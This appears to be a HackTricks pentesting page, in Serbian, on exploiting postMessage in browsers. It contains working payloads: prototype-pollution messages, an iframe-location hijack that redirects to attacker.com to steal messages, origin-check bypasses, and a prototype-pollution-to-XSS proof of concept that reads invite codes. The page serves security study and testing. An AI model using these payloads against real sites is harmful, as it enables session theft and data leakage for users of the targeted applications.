PostMessage Vulnerabilities

PostMessage Vulnerabilities

Support HackTricks

Send PostMessage

PostMessage koristi sledeću funkciju za slanje poruke:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Napomena da targetOrigin može biti '*' ili URL kao što je https://company.com. U drugom scenariju, poruka se može poslati samo toj domeni (čak i ako je izvor objekta prozora drugačiji). Ako se koristi wildcard, poruke se mogu slati na bilo koju domenu, i biće poslate na izvor objekta Window.

Napad na iframe & wildcard u targetOrigin

Kao što je objašnjeno u ovom izveštaju, ako pronađete stranicu koja može biti iframed (bez zaštite X-Frame-Header) i koja šalje osetljive poruke putem postMessage koristeći wildcard (*), možete modifikovati izvor iframe-a i leak osetljive poruke na domenu koju kontrolišete. Napomena da ako stranica može biti iframed, ali je targetOrigin postavljen na URL i ne na wildcard, ovaj trik neće raditi.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener eksploatacija

addEventListener je funkcija koju koristi JS da deklarira funkciju koja očekuje postMessages. Koristiće se kod sličan sledećem:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

Napomena u ovom slučaju kako prva stvar koju kod radi je provera porekla. Ovo je strašno važno posebno ako stranica planira da uradi bilo šta osetljivo sa primljenim informacijama (kao što je promena lozinke). Ako ne proverava poreklo, napadači mogu naterati žrtve da šalju proizvoljne podatke na ove krajnje tačke i promene lozinke žrtava (u ovom primeru).

Enumeracija

Da biste pronašli event listener-e na trenutnoj stranici možete:

  • Pretražiti JS kod za window.addEventListener i $(window).on (JQuery verzija)

  • Izvršiti u konzoli alata za razvoj: getEventListeners(window)

  • Idite na Elements --> Event Listeners u alatima za razvoj preglednika

Zaobilaženje provere porekla

  • event.isTrusted atribut se smatra sigurnim jer vraća True samo za događaje koje generišu stvarne korisničke akcije. Iako je izazovno zaobići ga ako je pravilno implementiran, njegova važnost u bezbednosnim proverama je značajna.

  • Korišćenje indexOf() za validaciju porekla u PostMessage događajima može biti podložno zaobilaženju. Primer koji ilustruje ovu ranjivost je:

("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • search() metoda iz String.prototype.search() je namenjena za regularne izraze, a ne za stringove. Prosleđivanje bilo čega osim regexp-a dovodi do implicitne konverzije u regex, što čini metodu potencijalno nesigurnom. To je zato što u regex-u, tačka (.) deluje kao džoker, omogućavajući zaobilaženje validacije sa posebno kreiranim domenima. Na primer:

"https://www.safedomain.com".search("www.s.fedomain.com")
  • match() funkcija, slična search(), obrađuje regex. Ako je regex nepravilno strukturiran, može biti podložan zaobilaženju.

  • escapeHtml funkcija je namenjena sanitizaciji unosa bežanjem karaktera. Međutim, ona ne stvara novi bežani objekat, već prepisuje svojstva postojećeg objekta. Ovo ponašanje se može iskoristiti. Konkretno, ako se objekat može manipulisati tako da njegova kontrolisana svojstva ne priznaju hasOwnProperty, escapeHtml neće funkcionisati kako se očekuje. Ovo je prikazano u primerima ispod:

  • Očekivani neuspeh:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • Zaobilaženje bežanja:

result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

U kontekstu ove ranjivosti, File objekat je posebno podložan eksploataciji zbog svoje read-only name osobine. Ova osobina, kada se koristi u šablonima, nije sanitizovana od strane escapeHtml funkcije, što dovodi do potencijalnih bezbednosnih rizika.

  • document.domain osobina u JavaScript-u može biti postavljena od strane skripte da skraćuje domen, omogućavajući opušteniju primenu politike istog porekla unutar istog roditeljskog domena.

e.origin == window.origin zaobilaženje

Kada se ugrađuje web stranica unutar sandboxed iframe koristeći %%%%%%, važno je razumeti da će poreklo iframe-a biti postavljeno na null. Ovo je posebno važno kada se radi o sandbox atributima i njihovim implikacijama na bezbednost i funkcionalnost.

Specifikovanjem allow-popups u sandbox atributu, svaki prozor koji se otvori iz iframe-a nasleđuje sandbox ograničenja svog roditelja. To znači da osim ako allow-popups-to-escape-sandbox atribut nije takođe uključen, poreklo prozora za iskačuće prozore je takođe postavljeno na null, usklađujući se sa poreklom iframe-a.

Kao rezultat, kada se iskačući prozor otvori pod ovim uslovima i poruka se pošalje iz iframe-a u iskačući prozor koristeći postMessage, i pošiljalac i primalac imaju svoja porekla postavljena na null. Ova situacija dovodi do scenarija gde e.origin == window.origin se evaluira kao tačno (null == null), jer i iframe i iskačući prozor dele istu vrednost porekla null.

Za više informacija pročitajte:

Bypassing SOP with Iframes - 1

Zaobilaženje e.source

Moguće je proveriti da li je poruka došla iz istog prozora u kojem skripta sluša (posebno zanimljivo za Content Scripts iz proširenja preglednika da provere da li je poruka poslata sa iste stranice):

// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}

Možete primorati e.source poruke da bude null kreiranjem iframe koji šalje postMessage i koji je odmah obrisan.

Za više informacija pročitajte:

Bypassing SOP with Iframes - 2

X-Frame-Header zaobilaženje

Da biste izvršili ove napade, idealno bi bilo da možete staviti stranicu žrtve unutar iframe. Ali neki headeri poput X-Frame-Header mogu sprečiti to ponašanje. U tim scenarijima možete i dalje koristiti manje prikriven napad. Možete otvoriti novu karticu za ranjivu web aplikaciju i komunicirati s njom:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Krađa poruke poslata detetu blokiranjem glavne stranice

Na sledećoj stranici možete videti kako možete ukrasti osetljive postmessage podatke poslata child iframe blokiranjem glavne stranice pre slanja podataka i zloupotrebom XSS u detetu da iscuri podatke pre nego što budu primljeni:

Blocking main page to steal postmessage

Krađa poruke modifikovanjem lokacije iframe-a

Ako možete iframe-ovati veb stranicu bez X-Frame-Header koja sadrži drugi iframe, možete promeniti lokaciju tog child iframe-a, tako da ako prima postmessage poslatu koristeći wildcard, napadač može promeniti tu iframe izvor na stranicu koju kontroliše i ukrasti poruku:

Steal postmessage modifying iframe location

postMessage do Prototype Pollution i/ili XSS

U scenarijima gde se podaci poslati putem postMessage izvršavaju putem JS, možete iframe-ovati stranicu i iskoristiti prototip zagađenje/XSS šaljući eksploataciju putem postMessage.

Nekoliko veoma dobro objašnjenih XSS kroz postMessage može se naći na https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Primer eksploatacije za zloupotrebu Prototype Pollution i zatim XSS putem postMessage na iframe:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

Za više informacija:

Reference

Podržite HackTricks

Last updated